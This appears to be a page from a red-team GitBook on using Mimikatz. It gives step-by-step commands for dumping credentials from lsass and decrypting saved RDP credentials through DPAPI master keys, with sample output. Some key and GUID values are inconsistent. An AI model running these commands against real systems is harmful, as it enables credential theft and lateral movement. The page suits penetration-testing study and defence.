

DarthSidious

Q

Search

Ctrl + K

BUILDING A LAB

Building a lab

Preparing Kali

Building a small lab

Building a lab with ESXI and Vagrant

Cuckoo malware analysis lab

INITIAL ACCESS

Password spraying

Initial access through exchange

ENUMERATION

Powershell

BloodHound

PowerView

Azure enumeration

EXECUTION

Pass the hash

Responder with NTLM relay and Empire

DeathStar

CrackMapExec

PRIVILEGE ESCALATION

Mimikatz

Token Impersonation

Juicy Potato

ALPC bug 0day

DEFENSE EVASION

Bypassing Applocker and Powershell contstrained language mode

From RDS app to Empire shell

Stealth

OTHER

Link encyclopedia

Writeups

War stories

CREDENTIAL ACCESS

Password cracking and auditing

COMMAND & CONTROL

SILENTTRINITY

Powered by GitBook

Mimikatz

The now very famous tool mimikatz can be among other things used to dump credentials, that is hashes and/or. The latest release of mimikatz can be found as a precompiled binary for Windows on gentilwiki's [Github page](#).

Important note about privilege Running Mimikatz nearly always requires Administrative privileges, preferably NT SYSTEM to run correctly. The privilege module is able to elevate a user from Administrator to SYSTEM.
<https://github.com/gentilkiwi/mimikatz/wiki/module~-privilege>

```
mimikatz # privilege::debug
Privilege '20' OK
```

Dumping creds from lsass

```
mimikatz # sekurlsa::logonpasswords
```

DPAPI method

In certain scenarios like RDP jumpstations a user might find it useful to save RDP credentials locally in Windows to prevent having to retype passwords. A common scenario is a regular user with a separate admin privileged account that is used for RDP-ing into other boxes. The passwords are then stored in the Windows credential manager.

Credentials for the manager are usually stored in files in either of the following two directories. Use `dir /a` to check their contents.

```
C:\Users\username\AppData\Roaming\Microsoft\Credentials
C:\Users\username\AppData\Local\Microsoft\Credentials
```

If both are empty, then credentials are probably not saved in the credential manager.. The files are usually stored as 32 character all caps alphanumerical strings, so something like: `? 0DCF46D87F2DCE439DC47AA5F9267462``.

Once you have the file name and path for the credential file, open up mimikatz and do.

```
mimikatz dpapi::cred
/in:C:\Users\username\AppData\Local\Microsoft\Credentials\0DCF46D87F2DCE439DC47AA5F9267462
```

This will dump the credential blob which contains what we want to decrypt and the GUID for the masterkey which is required for decryption.

As SYSTEM, we can dump all masterkeys, the ! is very important here.

```
!sekurlsa::dpapi
```

You should get a 129 character string as masterkey associated with the GUID you found in the previous step.

```
GUID: {6515c6ef-60cd-4563-a3d5-3d70a6bc699}
masterkey: 76081ac6e809573b4dfa1a7a8eac3ae0106aa3f4d283fc3d6cf114a6285b582
```

Page 1 of 2

Proceed by using the masterkey to decrypt the credentials.

```
dpapi::cred
/in:C:\Users\username\AppData\Local\Microsoft\Credentials\0DCF46D87F2DCE43
9DC47AA5F9267462/masterkey:76081ac6e809573b4dfa1a7a8eac3ae0106aa3f4d283fc3
d6cf114a6285b582d4df53dc0e30b64c318e473bce49adabb73ad8cccd8bf4d7d10f44f4d4
e48cf04
```

The username and plaintext password should be printed.

```
UserName      : LAN\username_adm
CredentialBlob : Sup3rAw3s0m3Passw0rd!
```

Use `vault::list` to figure out what boxes the credentials belong to. Often they are to specific servers.

Useful links <https://github.com/gentilkiwi/mimikatz/wiki/module~~dpapi>
<https://github.com/gentilkiwi/mimikatz/wiki/howto~~credential-manager-saved-credentials> <https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/>

[<](#)

Previous

CrackMapExec

Next

Token Impersonation

[>](#)

Last updated 6 years ago